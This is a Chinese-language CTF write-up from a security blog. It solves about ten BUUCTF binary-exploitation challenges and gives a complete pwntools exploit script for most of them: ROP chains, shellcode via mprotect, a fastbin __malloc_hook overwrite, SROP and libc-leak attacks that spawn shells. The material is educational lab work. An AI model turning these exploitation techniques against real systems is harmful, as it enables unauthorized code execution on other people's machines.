freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

今天你pwn了吗(二)
2020-06-02 16:52:20
所属地 湖南省

作者:紫色仰望 合天智汇

前言:

"二进制太难了", 一起到 buu 开始 刷题吧。这里 仅记录 下 非高分题目的 解题思路和 知识讲解。特别是文章里的函数,我特意整理了下,希望我能在在二进制路上走远!!!

not_the_same_3dsctf_2016

在这之前我们先来看下几个 函数吧:fgets 和 fread 函数以及 mprotect 函数。

fgets

v2-210f1245e423b1fcecff04c97d45eb28_720w

fread

v2-210f1245e423b1fcecff04c97d45eb28_720w

mprotect

v2-a4edcb94129486ae9044d2bba8550955_720w

然后 我们来看下 这题的 程序逻辑。 gets 输入后就结束了。

v2-f411aafa60bc84da7a407ddb5d52a090_720w

但我们可以看到 程序中 有个 get_secret()函数,乍一看是 后门函数,但并不是。

思路一: 而是 将 flag.txt的内容放到了 bss:0x080ECA2D 地址里。 我们可以通 rop的方式 先执行下 get_secret将flag放入bss段上,然后程序中含有write函数,我们 可以再rop到 write函数上来将flag给输出出来。 我们写出exp:

v2-861aa7716745ab85ace914085efcdc86_720w

拿到 flag:

v2-0646d930b8b06e7409e608f0d0385390_720w

思路二: 我们也可以用shellcode的方式。因为程序开了NX保护,我们没办法把它输入到 栈中去执行shellcode,所以我们看下 bss 段上。

v2-416ba44d97444c5c0f71f5af08f84715_720w

bss段上 可读可写,然后程序中也有 mprotect 函数和 read函数 ,所以我们尝试 ROP的方式 先 通过mprotect 函数来将 bss段所在的内页页 改为可可读可写可执行,然 后我们再通过read函数往bss 段上 写shellcode,最后将执行流 返回到bss 即可拿到shell。 exp如下:

from pwn import * from LibcSearcher import * #context.log_level="debug" p=process("./not_the_same_3dsctf_2016") elf=ELF("./not_the_same_3dsctf_2016") p=remote("node3.buuoj.cn",29610) #gdb.attach(p,"b *0x80489fb") mprotect_addr=elf.sym["mprotect"] print hex(mprotect_addr) read_plt=elf.sym["read"] print hex(read_plt) pop_3_ret=0x080483b8 pop_ret=0x08048b0b m_start=0x080EB000 #bss ye bss= 0x080EBF80 #bss print hex(m_start) len=0x2000 prot=4+2+1 #(rwx) #ropper --file not_the_same_3dsctf_2016 --search "pop|ret" ''' 0x080483b8: pop esi; pop edi; pop ebp; ret; ''' payload_1="a"*0x2D+p32(mprotect_addr)+p32(pop_3_ret)+p32(m_start)+p32(len)+p32(prot) #mprotect(m_start,len,7); payload_1+=p32(read_plt)+p32(bss+0x400)+p32(0)+p32(bss+0x400)+p32(0x100)#read(0,m_start,100) p.sendline(payload_1) raw_input() payload_2=asm(shellcraft.sh(),arch = 'i386', os = 'linux')# shellcode len is 40 p.sendline(payload_2) p.interactive()

拿到flag:

v2-69ba4ad1fe886e6711db24239f263ebd_720w

babyheap_0ctf_2017

哈哈,没想到这么快 就到 堆题了。 我们首先 检查下 文件属性和开启 的相关保护。

v2-603052457213bb4fa5253787262a6ebf_720w

保护全开的 64位 动态链接的 elf 程序。 因为 开启 了 Full RELRO,我们无法 改 函数的got,所以我们可 首先 考虑 通过修改 __malloc_hook的方式 为 onegadget 。

我们先来 分析下 这个程序吧。 main()函数:

__int64 __fastcall main(__int64 a1, char **a2, char **a3) { char *v4; // [rsp+8h] [rbp-8h] v4 = sub_B70(); //v4是用来 结构数组 首地址,通过mmap获取 while ( 1 ) { metu(); // puts("1. Allocate"); // puts("2. Fill"); // puts("3. Free"); // puts("4. Dump"); // puts("5. Exit"); // return printf("Command: "); sub_138C(); switch ( (unsigned __int64)choice_14F4 ) { case 1uLL: add_D48((__int64)v4); break; case 2uLL: edit_E7F((__int64)v4); break; case 3uLL: free_F50((__int64)v4); break; case 4uLL: dump_1051((__int64)v4); break; case 5uLL: return 0LL; default: continue; } } }

sub_B70()函数: v4是用来 结构数组 首地址,通过mmap获取,简单看下就好:

char *sub_B70() { int fd; // [rsp+4h] [rbp-3Ch] char *addr; // [rsp+8h] [rbp-38h] __int64 v3; // [rsp+10h] [rbp-30h] unsigned __int64 buf; // [rsp+20h] [rbp-20h] unsigned __int64 v5; // [rsp+28h] [rbp-18h] unsigned __int64 v6; // [rsp+38h] [rbp-8h] v6 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); alarm(0x3Cu); puts("===== Baby Heap in 2017 ====="); fd = open("/dev/urandom", 0); if ( fd < 0 || read(fd, &buf, 0x10uLL) != 16 ) exit(-1); close(fd); addr = (char *)((buf - 93824992161792LL * ((unsigned __int64)(0xC000000294000009LL * (unsigned __int128)buf >> 64) >> 46) + 0x10000) & 0xFFFFFFFFFFFFF000LL); v3 = (v5 - 3712 * (0x8D3DCB08D3DCB0DLL * (unsigned __int128)(v5 >> 7) >> 64)) & 0xFFFFFFFFFFFFFFF0LL; if ( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr ) exit(-1); return &addr[v3]; }

程序功能 metu()函数 :

v2-ab57a2c00d62b6d24e1a44b2b49d2e81_720w

Allocate (add)函数: 输入 size,最大为 0x1000,然后 calloc(size),因为是calloc函数,会对申请到的内存 进行 清零 处理。

v2-b3db71f4dd0bf5599ce4e24d677aa87f_720w

我们在 这里看以看出 每个 结构体 的结构为(每个结构体 0x18大小):

v2-444e8b3618caa5f9e8f96333a35c806a_720w

放个图片 便于理解:

v2-d5f6e0db91e248730205f3712a0b056d_720w

2. Fill (edit)函数: 输入下标index,然后 再输入 我们 要 填充的content 的 size,注意这里不是 我们在 Allocate (add)写入的 size,而是重新输入的size,所以 我们在这里可以出入 任意长度的 content,存在 堆溢出漏洞!

__int64 __fastcall edit_E7F(__int64 a1) { __int64 result; // rax int index; // [rsp+18h] [rbp-8h] int content_len; // [rsp+1Ch] [rbp-4h] printf("Index: "); result = sub_138C(); index = result; if ( (signed int)result >= 0 && (signed int)result <= 15 )// 16 { result = *(unsigned int *)(0x18LL * (signed int)result + a1); if ( (_DWORD)result == 1 ) { printf("Size: "); result = sub_138C(); //漏洞点在这 content_len = result; if ( (signed int)result > 0 ) { printf("Content: "); result = sub_11B2(*(_QWORD *)(0x18LL * index + a1 + 0x10), content_len); } } } return result; } ************************************************* unsigned __int64 __fastcall sub_11B2(__int64 a1, unsigned __int64 a2) { unsigned __int64 v3; // [rsp+10h] [rbp-10h] ssize_t v4; // [rsp+18h] [rbp-8h] if ( !a2 ) return 0LL; v3 = 0LL; while ( v3 < a2 ) { v4 = read(0, (void *)(v3 + a1), a2 - v3); if ( v4 > 0 ) { v3 += v4; } else if ( *_errno_location() != 11 && *_errno_location() != 4 ) { return v3; } } return v3; }

free()函数: 这里没有 漏洞。free 掉 chunk 后,对结构体上的 所有数据全都 清零 。

v2-9136596b218994bf338d976f222a0891_720w

exp: 因为存在堆溢出,我们可通过 输入 来控制 下一个chunk的 size,于是 我们 可 通过 fastbin attack中的 chunk extend 来 进行 泄露libc,和将__malloc_hook上 写入 onegadhet。

我在 exp 注释 里,写下简单的注释,方便大家理解和学习。 另外,建议大家可以看下这篇 文章讲的 fastbin attack的几个经典 方式的详解: https://blog.csdn.net/Breeze_CAT/article/details/103788698

from pwn import * context.log_level="debug" p=process("./babyheap_0ctf_2017") p=remote("node3.buuoj.cn",27220) #elf=ELF("./babyheap_0ctf_2017") libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") def add(size): p.sendlineafter("Command: ","1") p.sendlineafter("Size: ",str(size)) def edit(index,size,content): p.sendlineafter("Command: ","2") p.sendlineafter("Index: ",str(index)) p.sendlineafter("Size: ",str(size)) p.sendlineafter("Content: ",content) def show(index): p.sendlineafter("Command: ","4") p.sendlineafter("Index: ",str(index)) def free(index): p.sendlineafter("Command: ","3") p.sendlineafter("Index: ",str(index)) add(0x18) #0 add(0x68) #1 add(0x68) #2 add(0x20) #3 # 防止 和 top chunk合并 #gdb.attach(p) edit(0,0x19,"a"*0x18+"\xe1") #0x70+0x70+1 #将 chunk 1的size 覆盖为 chunk 1 的size+chunk 2的size 再 +1 free(1) # free(1)后 chunk 1 和 chunk 2 当成整体被放进了 unsigned chunk 中 add(0x68) #1 # add(0x68) 将unsigned bin 上的 整体chunk 给分割后 将 chunk 1 申请出来 # 然后 unsigned bin上只有一个 chunk 2,chunk 2 的fd 和bk 都指向 main_arena+0x88的位置 show(2) # 泄露 libc 以及得到 相关的 函数 地址 p.recvline() libc_base=u64(p.recv(6).ljust(8,'\x00'))-(0x7f5f083ecb78-0x7f5f08028000) print "libc_base is "+hex(libc_base) __malloc_hook=libc_base+libc.symbols['__malloc_hook'] __malloc_hook_0x23=__malloc_hook-0x23 one=[0x45216,0x4526a,0xf02a4,0xf1147] #one_gadget /lib/x86_64-linux-gnu/libc.so.6 #realloc_addr=libc_base+libc.symbols['realloc'] print "__malloc_hook is "+hex(__malloc_hook) print "__malloc_hook_0x23 is "+hex(__malloc_hook_0x23) #print "realloc_addr is "+hex(realloc_addr) ''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' add(0x68)#4 2 # 将再 unsigned bin 上的 chunk 给申请出来 便是 chunk 4,其实也是 chunk 2. #gdb.attach(p) free(4) # 将 chunk 4(2) 放入 0x70 的fast bin中,但我们仍可通过 chunk 2对其进行控制。 edit(2,8,p64(__malloc_hook_0x23)) # 将 fd 给 edit 为 __malloc_hook_0x23 add(0x68) #4 #gdb.attach(p) add(0x68) #5 #申请 两次 可把 函数 __malloc_hook的 0x70 大的chunk 给申请出来 chunk 5 payload="a"*0x13+p64(libc_base+one[1]) edit(5,0x13+0x8,payload) #修改 __malloc_hook 为 onegadget p.sendlineafter("Command: ","1") p.sendlineafter("Size: ","32") # 最后再 执行到 malloc的时候 就会 执行 onegadget,从而拿到shell。 p.interactive()

getshell

v2-1a2a088e9b13c1feca5742c7d489adb1_720w

[HarekazeCTF2019]baby_rop

这题 太简单了。64位elf程序,有system 和/bin/sh\x00 字符串。

v2-64bf6db84d845951a7f2c3d55d20e69a_720w

scanf 输入的 偏移是 [rbp-10h]所以 我们写出 以下 exp:

v2-9643312ae72bc1b0e4838d3ab9a1eb10_720w

拿到 shell。

$ python babyrop.py [+] Starting local process './babyrop': pid 17225 [+] Opening connection to node3.buuoj.cn on port 26886: Done [*] '/home/yangmutou/\xe6\xa1\x8c\xe9\x9d\xa2/buuctf/100/[HarekazeCTF2019]baby_rop/babyrop' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) 0x40048c [*] Switching to interactive mode $ ls bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

jarvisoj_level0

相比于 最初的两题,这题简直是 小菜 啊! ida:

v2-963a0d35786e7f95d90cbcfb9f2f5243_720w

输入的偏移 是 [rbp-80h],我们覆盖返回地址 是 callsystem() 地址 0x400596 就好了。 exp:

v2-80420ee4705b2c1a829b6cbcdf2c3d77_720w

拿到 flag:

v2-57b17617e71e0ea5870e4cc4ea70173d_720w

[BJDCTF 2nd]one_gadget

64位elf 程序,环境为 ubuntu 19.04 拖入ida:

v2-17d0f731e273372b21a3aca430afb659_720w

*********** //最后 一部分 ida 编译的 不是很准确,我们看下汇编:

v2-7fa58d45dff21013f619e10643fa4ed6_720w

分析: 程序在 init()函数中中 给了我们 printf 的函数地址,我们可通过它 得到 libc 加载 的基地址,从而 可计算出 onegadget 在程序中的 真实 内存地址。 另外 经过上面 我在 ida 中的简单注释,我们可知道 通过scanf 输入的 数据,会被直接调用 ,所以 我们输入 onegadget 可拿到shell。 exp如下:

#coding:utf8 from pwn import * p=process("./one_gadget") p=remote("node3.buuoj.cn",28449) elf=ELF("./one_gadget") libc=ELF("./libc-2.29_64.so") #libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")#18 p.recvuntil("here is the gift for u:") a=p.recv(14) printf_got=int(a,16) #0x7ffff7a0d000 print hex(printf_got) printf_libc=libc.symbols['printf'] print hex(printf_libc) base=printf_got-printf_libc print hex(base) #og=[0x4f2c5,0x4f322,0x10a38c] #18 og=[0xe237f,0xe2383,0xe2386,0x106ef8]#19 og=base+og[3] p.recvuntil("Give me your one gadget:") #gdb.attach(p) p.sendline(str(og)) p.interactive()

拿到 flag:

v2-ab9a2d8455eb741afc03feca8aa930a4_720w

jarvisoj_level2

v2-2ce0aaf47f813705b9968b17a7e30306_720w

直接 写exp了:

from pwn import * #context.log_level="debug" p=process("./level2") p=remote("node3.buuoj.cn",26830) elf=ELF("./level2") bin_sh=0x0804A024 system=elf.plt['system'] pd="a"*0x88+p32(0xdeadbeef)+p32(system)+p32(0xdeadbeef)+p32(bin_sh) p.recvuntil("Input:\n") p.sendline(pd) p.interactive()

拿到 shell:

$ python level2.py [+] Starting local process './level2': pid 2049 [+] Opening connection to node3.buuoj.cn on port 26830: Done [*] '/home/yangmutou/\xe6\xa1\x8c\xe9\x9d\xa2/buuctf/100/jarvisoj_level2/level2' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [*] Switching to interactive mode $ cat flag flag{6b57cd2a-eee9-43f7-a4d1-59f549f84aef}

ciscn_2019_s_3

这题 就很棒了。64位elf 程序,环境 ubuntu 18.04 而在这之前,我们首先看下 read(),write()的原型:

v2-f6374b22410cfcef952542f71c43db06_720w

除此之外我们 还要知道 一下 syscall 系统调用。我记得之前 在 合天智汇 投过 一篇 关于这个知识的讲解,我找下链接:

https://www.freebuf.com/column/226799.html

大家可以去看下,因为已经 写过一个较完整的分析了,这里就 简单总结下 知识干货吧: 看下 这个图:

v2-5ce56a76483dcf416b4ee136e2b28766_720w

以上 是 **** 对system的介绍(基于32 的 系统调用):

这里总结下 32位与64位 系统调用的区别:

v2-6c4114d8a7aed9f575c8ffe33381c8c3_720w

接着 我们 分析程序 拖入 ida:

int __cdecl main(int argc, const char **argv, const char **envp) { return vuln(); } ************************************************************ signed __int64 vuln() { signed __int64 result; // rax __asm { syscall; LINUX - sys_read } //read 系统调用 result = 1LL; __asm { syscall; LINUX - sys_write } //write 系统调用 return result; }

vuln 这部分我们还是看 汇编吧:

v2-87bdc97b49588bb7f2b5b974c92a01fe_720w

翻译下 就是 我们首先系统 调用 read函数 往buf(rbp-0x10),最多可 写入 0x400 字节 数据,然后 再 调用 write函数 将输入到buf 上的数据 给 输出出来。 所以很明显的栈溢出漏洞嘛,

另外程序中 还有 个 gadgets 函数:

.text:00000000004004D6 public gadgets .text:00000000004004D6 gadgets proc near .text:00000000004004D6 ; __unwind { .text:00000000004004D6 push rbp .text:00000000004004D7 mov rbp, rsp .text:00000000004004DA mov rax, 0Fh .text:00000000004004E1 retn .text:00000000004004E1 gadgets endp ; sp-analysis failed .text:00000000004004E1 .text:00000000004004E2 ; --------------------------------------------------------------------------- .text:00000000004004E2 mov rax, 3Bh .text:00000000004004E9 retn .text:00000000004004E9 ; --------------------------------------------------------------------------- .text:00000000004004EA db 90h .text:00000000004004EB ; --------------------------------------------------------------------------- .text:00000000004004EB pop rbp .text:00000000004004EC retn .text:00000000004004EC ; } // starts at 4004D6

我们可以 发现这个函数里面有两个可以 gadget 即 控制 rax的 带有 ret 的汇编指令片段

mov rax,0Fh // 0Fh 即15 而15 对应的是 sys_rt_sigreturn系统调用 mov rax,3Bh // 3Bh 即 59 而15 对应的是 sys_execve 系统调用

及对应 着两种 方式的 做法。 1. 第一种 是 通过 __libc_csu_init ROP 去 构造 execve("/bin/sh",0,0) 去拿 shell 1. 第二种 是 通过 SROP 去 构造 execve("/bin/sh",0,0) 去拿 shell

我们 可 想办法 执行 execve("/bin/sh",0,0) 去拿 shell。 将 sys_execve 的调用号 59 赋值给 rax 将 第一个参数即字符串 "/bin/sh"的地址 赋值给 rdi 将 第二个参数 0 赋值给 rsi 将 第三个参数 0 赋值给 rdx

  1. 第一种: 因为程序中 没有足够的 gadget可用,“x64 下的 __libc_csu_init 中的 gadgets,这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在“,这个的话 大家可以 在ctfwiki上具体学习 下,或者在我之前对这个程序的分析 去了解与学习。 这里我写出 exp:
#coding:utf8 from pwn import * context.log_level = 'debug' conn=process("./ciscn_s_3") vuln_addr=0x4004ED mov_rax_execv_addr=0x4004E2 #ida中查看 pop_rdi_ret_addr=0x4005a3 #ROPgadget --binary ciscn_s_3 --only 'pop|ret' pop_rbx_rbp_r12_r13_r14_r15_ret_addr=0x40059A __libc_csu_init_addr=0x400580 # __libc_csu_init gadget 首地址 syscall_addr=0x400501 #ida中查看 #gdb.attach(conn,'b *0x40052C') payload1='/bin/sh\x00'*2+p64(vuln_addr) conn.send(payload1) conn.recv(0x20) bin_sh_addr=u64(conn.recv(8))-280 print hex(bin_sh_addr) payload2='/bin/sh\x00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15_ret_addr)+p64(0)*2+p64(bin_sh_addr+0x50)+p64(0)*3 payload2+=p64(__libc_csu_init_addr)+p64(mov_rax_execv_addr) payload2+=p64(pop_rdi_ret_addr)+p64(bin_sh_addr)+p64(syscall_addr) conn.send(payload2) conn.interactive()
  1. 第二种:直接srop 伪造 sigreturn frame 去 伪造 execve("/bin/sh",0,0) 来 getshell

具体就是 首先利用 mov rax, 0Fh 控制rax为 15,然后 调用 syscall 即执行了 sigreturn,我们 伪造 sigreturn frame 去 执行 execve("/bin/sh",0,0) 即可

#coding:utf8 from pwn import * context(arch='amd64', os='linux', log_level = 'DEBUG')#这个注意 一定要说明 内核架构 不然报错 #context.log_level = 'debug' conn=process("./ciscn_s_3") conn=remote('node3.buuoj.cn',26536) vuln_addr=0x4004ED mov_rax_sigreturn_addr=0x4004DA syscall_addr=0x400501 #gdb.attach(conn,'b *0x40052C') payload1='/bin/sh\x00'*2+p64(vuln_addr) conn.send(payload1) conn.recv(0x20) bin_sh_addr=u64(conn.recv(8))-280 print hex(bin_sh_addr) frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = bin_sh_addr frame.rsi = 0 frame.rdx = 0 #frame.rsp = bin_sh_addr frame.rip = syscall_addr payload2='/bin/sh\x00'*2+p64(mov_rax_sigreturn_addr)+p64(syscall_addr)+str(frame) conn.send(payload2) conn.interactive()

均可拿到 flag。

[HarekazeCTF2019]baby_rop2

ida:

int __cdecl main(int argc, const char **argv, const char **envp) { int len; // eax char buf[28]; // [rsp+0h] [rbp-20h] int v6; // [rsp+1Ch] [rbp-4h] setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); printf("What's your name? ", 0LL); len = read(0, buf, 0x100uLL); // 栈溢出 v6 = len; buf[len - 1] = 0; printf("Welcome to the Pwn World again, %s!\n", buf); return 0; }

通过printf泄露read的函数地址计算libc的基址,ROP链构造system(‘/bin/sh’)

exp:

#coding:utf8 from pwn import * from LibcSearcher import * context.log_level="debug" #p=process("./babyrop2") p=remote("node3.buuoj.cn",27757) elf=ELF("./babyrop2") libc=ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec =False) print "*****************************************************info" printf_plt=elf.plt['printf'] read_got=elf.got['read'] main_addr=0x400636 fmt_str=0x400770 # %s pop_rdi_ret=0x400733 #ropper --file babyrop2 --search "pop|ret" pop_rsi_r15_ret=0x400731 print "*****************************************************leak" pd="a"*0x20 pd+=p64(0xdeadbeef) pd+=p64(pop_rdi_ret)+p64(fmt_str)+p64(pop_rsi_r15_ret)+p64(read_got)+p64(0) pd+=p64(printf_plt)+p64(main_addr) #gdb.attach(p) p.recvuntil("What's your name? ") p.sendline(pd) read_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) libc=LibcSearcher("read",read_addr) libc_base=read_addr-libc.dump("read") system_addr=libc_base+libc.dump("system") str_bin_sh=libc_base+libc.dump("str_bin_sh") print "libc_base is "+hex(libc_base) print "system_addr is "+hex(system_addr) print "str_bin_sh is "+hex(str_bin_sh) print "***************************************************** pwn" p.recvuntil("What's your name? ") pd2="a"*0x20 pd2+=p64(0xdeadbeef) pd2+=p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr) p.sendline(pd2) p.interactive()

成功 可以 拿到 shell。

ciscn_2019_ne_5

这道题,感觉 学到了一个 骚姿势。如果程序中 没有 "/bin/sh\x00" 或者 "sh",但如果程序中 有 含有这些字符串的 长字符串,我们可以截取然后利用。 学到了。 我们首先看下 程序:

int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // [esp+0h] [ebp-100h] char src[4]; // [esp+4h] [ebp-FCh] char v5; // [esp+8h] [ebp-F8h] char s1[4]; // [esp+84h] [ebp-7Ch] char v7; // [esp+88h] [ebp-78h] int *v8; // [esp+F4h] [ebp-Ch] v8 = &argc; setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); fflush(stdout); *(_DWORD *)s1 = '0'; memset(&v7, 0, 0x60u); *(_DWORD *)src = '0'; memset(&v5, 0, 0x7Cu); puts("Welcome to use LFS."); printf("Please input admin password:"); __isoc99_scanf("%100s", s1); // 以字符串 传入 if ( strcmp(s1, "administrator") ) { puts("Password Error!"); exit(0); } puts("Welcome!"); while ( 1 ) { puts("Input your operation:"); puts("1.Add a log."); puts("2.Display all logs."); puts("3.Print all logs."); printf("0.Exit\n:"); __isoc99_scanf("%d", &v3); switch ( v3 ) { case 0: exit(0); return; case 1: AddLog((int)src); break; case 2: Display(src); break; case 3: Print(); break; case 4: GetFlag(src); break; default: continue; } } } *********************************************************** int __cdecl AddLog(int a1) { printf("Please input new log info:"); return __isoc99_scanf("%128s", a1); } ********************************************************** int __cdecl Display(char *s) { return puts(s); } ************************************************************ int Print() { return system("echo Printing......"); //这里有 system函数 } ************************************************************ int __cdecl GetFlag(char *src) { char dest[4]; // [esp+0h] [ebp-48h] char v3; // [esp+4h] [ebp-44h] *(_DWORD *)dest = 48; memset(&v3, 0, 0x3Cu); strcpy(dest, src); //这里可以存在栈溢出漏洞 return printf("The flag is your log:%s\n", dest); } *******************************************************

在GetFlag 函数里是存在 栈溢出漏洞的。dest 的偏移 是 [ebp-48h],同时我们还知道 system的地址,而只要我们有 "/bin/sh\x00"或者"sh"的字符串,就可以通过 AddLog 来输入我们的payload 就可顺利拿到 shell。

payload="a"*0x48+p32(pop_ret)+p32(system)+p32(0xdeadbeef)+p32(binsh)

而 binsh的 地址是从何而来的呢, 我们ida 搜索下字符串:

v2-b6a4e441cfd0241d9eaec4e6416f42e9_720w

可以看到 有个 "fflush"字符串,我们 0x80482E6 + 0x4 就可以得到 "sh"字符串的地址。 学到了,学到了。 exp如下:

v2-9d0ca1d8f23da972b8e980f2c0e3d3c3_720w

可以成功拿到shell。

ciscn_2019_n_5

这个,没有开启任何保护,首先想到shellcode。 ida:

v2-3313400c4eb5bd96be6d0ac5ffbd1dbd_720w

额,直接写脚本了。

v2-3dad24904b24ecdc78533cf4a1e96520_720w

jarvisoj_level2_x64

我们看下ida 吧,这个属于很简单了。远不及上面的任意一题简单。

v2-51029348474a275812afc35db6b3b6cb_720w

我们可以发现 程序中 有system 和 "/bin/sh"字符串,而有存在栈溢出漏洞。 构造以下 payload 即可 拿到 shell。

pd="a"*0x88+p64(pop_rdi_ret)+p64(binsh)+p64(system_plt)

exp:

v2-08bce1888a918658ddcbff5360ee034a_720w

pwn2_sctf_2016

这一题 是涉及到 整形溢出的 题。

ida:

int __cdecl main(int argc, const char **argv, const char **envp) { setvbuf(stdout, 0, 2, 0); return vuln(); } ****************************************************************** int vuln() { char nptr; // [esp+1Ch] [ebp-2Ch] int v2; // [esp+3Ch] [ebp-Ch] printf("How many bytes do you want me to read? "); get_n((int)&nptr, 4u); v2 = atoi(&nptr); if ( v2 > 32 ) return printf("No! That size (%d) is too large!\n", v2); printf("Ok, sounds good. Give me %u bytes of data!\n", v2); get_n((int)&nptr, v2); return printf("You said: %s\n", &nptr); } ****************************************************************** int vuln() { char nptr; // [esp+1Ch] [ebp-2Ch] int v2; // [esp+3Ch] [ebp-Ch] printf("How many bytes do you want me to read? "); get_n((int)&nptr, 4u); v2 = atoi(&nptr); if ( v2 > 32 ) return printf("No! That size (%d) is too large!\n", v2); printf("Ok, sounds good. Give me %u bytes of data!\n", v2); get_n((int)&nptr, v2); return printf("You said: %s\n", &nptr); }

我们来分析下程序。 首先 我们输入下要输入的 size 然后 再输入 size 字节的 数据, 最后程序会输出 我们的 输入的 数据。

而这题的漏洞在 哪呢, 我们首先知道 nptr 的偏移是 ebp-0x2C , 如果我们 要 覆盖 return addr 上的数据,至少需要 能输入0x2c+4+4 字节数据.而 这样的话 有 绕不过 第二个 if , 然而,我们看下int cdecl get_n(int a1, unsigned int a2) 函数。 这个 a2 就是我们开始输入的 要输入的 size 大小,而如果我们输入的 是负数,那么, 负数一定是 < 32 的,而在int cdecl get_n 函数中,它传参时是以无符号整数 传得参,即相当于a2是一个十分大的数。于是程序便会存在栈溢出漏洞。

程序中函数 printf 函数,我们通过它输出printf_got 地址,从泄露libc,然后返回到main 地址,程序重新执行,然后再将return addr 处给覆盖成 system ,另外控制下rdi为"/bin/sh"即可 。 exp如下:

from pwn import * from LibcSearcher import * context.log_level = 'debug' #p = process('./pwn2_sctf_2016') p = remote('node3.buuoj.cn', 25208) elf = ELF('./pwn2_sctf_2016') fmt_str = 0x080486F8 printf_plt = elf.plt['printf'] main_addr = elf.sym['main'] printf_got = elf.got['printf'] p.recvuntil('read? ') p.sendline('-1') p.recvuntil('data!\n') payload = 'a'*0x30 + p32(printf_plt)+p32(main_addr)+p32(fmt_str)+p32(printf_got) p.sendline(payload) p.recvuntil('said: ') p.recvuntil('said: ') printf_addr = u32(p.recv(4)) libc = LibcSearcher('printf', printf_addr) libc_base = printf_addr - libc.dump('printf') system = libc_base + libc.dump('system') str_bin = libc_base + libc.dump('str_bin_sh') p.recvuntil('read? ') p.sendline('-1') p.recvuntil('data!\n') p.sendline('a'*0x30 + p32(system) + p32(main_addr) + p32(str_bin)) p.interactive()

师傅们,今天你pwn了嘛!!!

高级栈溢出技术—ROP实战(fluff)

通过该实验学习ROP概念及其思路,了解高级栈溢出时需要注意的事项,并掌握解决方法,同时通过练习给出的关卡来增强实践能力。

http://www.hetianlab.com/expc.do?ec=ECIDd982-88e7-4338-9b86-c88c86e92a4e

声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!


# 二进制
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者